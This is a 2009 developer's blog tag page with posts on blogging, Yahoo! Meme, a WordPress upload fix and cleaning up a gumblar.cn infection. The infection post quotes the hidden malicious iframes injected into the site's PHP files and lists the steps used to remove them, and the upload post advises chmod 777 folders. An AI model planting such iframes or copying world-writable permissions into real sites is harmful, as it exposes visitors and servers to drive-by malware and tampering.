Posts Tagged ‘Blogging’

Why programmers should blog?

September 20th, 2009

For non believers of blogging

Most of the times when some techie (my colleague or any friend) asked me “what is blogging?” or “how blogging can help us”. I just got attentive and its my time to sell my stuff :) I started narrating the benefits of writing blogs. I have come up with many developers who are writing code for years but didn’t know about this Internet revolution. I have convinced and influenced some of my friends and colleagues to start writing technical blogs. And now they feel the difference. They have their own identity to speak with the world, and now they think something innovative about the areas they are expert and they write.

How blogging helps

Actually blogging is some sort of “Self Realization” for any developer. Like you share some idea, utility code or wrote any tutorial on your blog and you like people commenting on your stuff and talking about yourself.You are extending your socio-technical circle. That can help in your career. Also from the prospective of employer too. In good organizations those developers are preferred who can give technical judgment on things they are doing. And for that purpose people do blog to extend their knowledge breath wise.

My primary purpose for blogging was to have a reference of some code snippets that are helpful in day to day programming. And to give my personal opinion and judgment on software development and other tech-industrial things. I daily spent two hours on reading different technology and programming blogs to keep my knowledge up to date. As in our industry things keep on evolving so its should be an integral part of our work to keep our self intact with the latest knowledge.

Why programmers cant blog

Because programmers are found little moderate in verbal and communication skills. If they can write unbreakable logics why the there is problem to write it down somewhere. Programmers usually lack this aptitude. Those guys read technical blogs, knows ‘CodingHorror’. Let me quote one thing from there.

Technical programming skills are certainly important. But general writing and communication skills are far, far more important. Even if you’re merely a humble programmer.

Jeff Atwood

I have wrote a related post on non-cs skills that every programmer must have. This point is discussed there in detail.

Keep blogging and have fun.

Get invitation of Yahoo! Meme

September 9th, 2009

Yahoo has also introduced its micro blogging service named Yahoo! Meme. At first look it contains features like Twitter. It sounds that they develop their service by keeping Twitter and what its lacking in mind. They even adopt the terms “following” and “followers” from Twitter. Interface is more enriched and appealing than Twitter.yahoo_meme_tahir

By using Meme you can post videos, music and pictures and they will shown straight away in your time-line. Twitter provides excellent idea to Yahoo to think about it and come up with more innovation. This Yahoo startup can cause shutdown twitter. Its looking. Twitter is still facing its up time issues.

d74c51fbfb69d350278a0f7c981729ec2656c2c5

Currently Meme is invitation based. I recently joined it on the invitation of @anasimtiaz. If you guys want to be in, leave comments here I will send you invitation. You guys can follow me on Meme (tahirakram) and/or Twitter (@tahirakram). But I have decided to continue using Twitter for my primary micro-blogging needs.

anasimtiaz

How to solve image upload problem in wordpress blog

May 17th, 2009

wordpress_logoIf you have hosted Wordpress blog. You might experience following error message while uploading images.

The uploaded file could not be moved to /var/www/vhosts/example.com/httpdocs/wp-content/uploads

I was messing it to resolve this issue without causing any big damage to my hosted blog environment. There was a strange thing, if I put chmod to 777 and in Settings -> Miscellaneous Setting I have wp-content value in Store uploads in this folder text box. This scheme works but it cause a lot of rush in my wp-content directory with the big pile of images. But still I was not satisfied that I didn’t used uploads folder. I change permission mode of uploads folder to 777. And put wp-content/uploads in Miscellaneous Settings. But all goes in vein.

My issue resolved my just making another folder in wp-content. I name it upload. And put wp-content/upload in Miscellaneous Settings with chmod 777 where wp-content is 755.

wp-content_image_upload_issue
Every thing goes smooth. I am able to upload images in a separate directory. Leave the uploads folder if it creating headache for you.

How to protect your website from gumblar.cn infection

May 6th, 2009

Yesterday one of my websites got infected by a suspicious malware gumblar.cn. This website contains several exploits and trojans that can harm your system. How it starts its infection is to invoke Adobe Acrobat Reader on your machine. I found after browsing my infected site, Acrobat Reader process was running in Task Manager.

According to Google Safe Browsing Service

What happened when Google visited this site?
Of the 2 pages we tested on the site over the past 90 days, 0 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2009-05-05, and the last time suspicious content was found on this site was on 2009-05-05.
Malicious software includes 2341 scripting exploit(s), 6 trojan(s).

This site was hosted on 1 network(s) including AS42831 (UKSERVERS).

gumblar_cn_infection
I found some of php files were altered by adding a iframe at the end of the page. My infected files were <my-url>/wp-content/themes/<my-theme-dir>/index.php and <my-url>/wp-admin/index.php and in same directory index-extra.php. I didnt found any other file which was infected by this.

I manually removed this embedded iframe  <iframe src=”http://liteautotop .cn/ts/in.cgi?mozila” width=2 height=4 style=”visibility: hidden”></iframe>  and every things works fine.

If you have some type of information about this infection, people will highly appriciate who are messing arround the internet about the solution of this problem.

Update (5/11/09): I am able to remove this malware from my blog and Wordpress admin site.

Removal

  • Removed image.php file from all images folder. image.php infection only found in ‘image’ folder. Make sure you didn’t remove the orignal image.php file. If your orignal file infected, only remove malicious code
  • Looked for iframe code added on the top or bottom of php page and remove it. I found this iframe which I removed. <iframe src=”http: //bigtruckstopseek .cn/ts/in.cgi?banner2″ width=2 height=4 style=”visibility: hidden”>
  • Checked all PHP, HTML and JS  files for added anonymous Java Script methods. I found all JS files infected in wp-include directory
  • Put httpdoc directory permission to 755
  • Scaned my computer with Malwarebytes’ Anti-Malware, which identified several threats and removed
  • Updated my AVG Anti Virus
  • Changed my FTP password
  • I did all this manual code removal activity from my Pleask control panel

Please fell free to make comment and your suggestions to make more security measures to prevent such threats.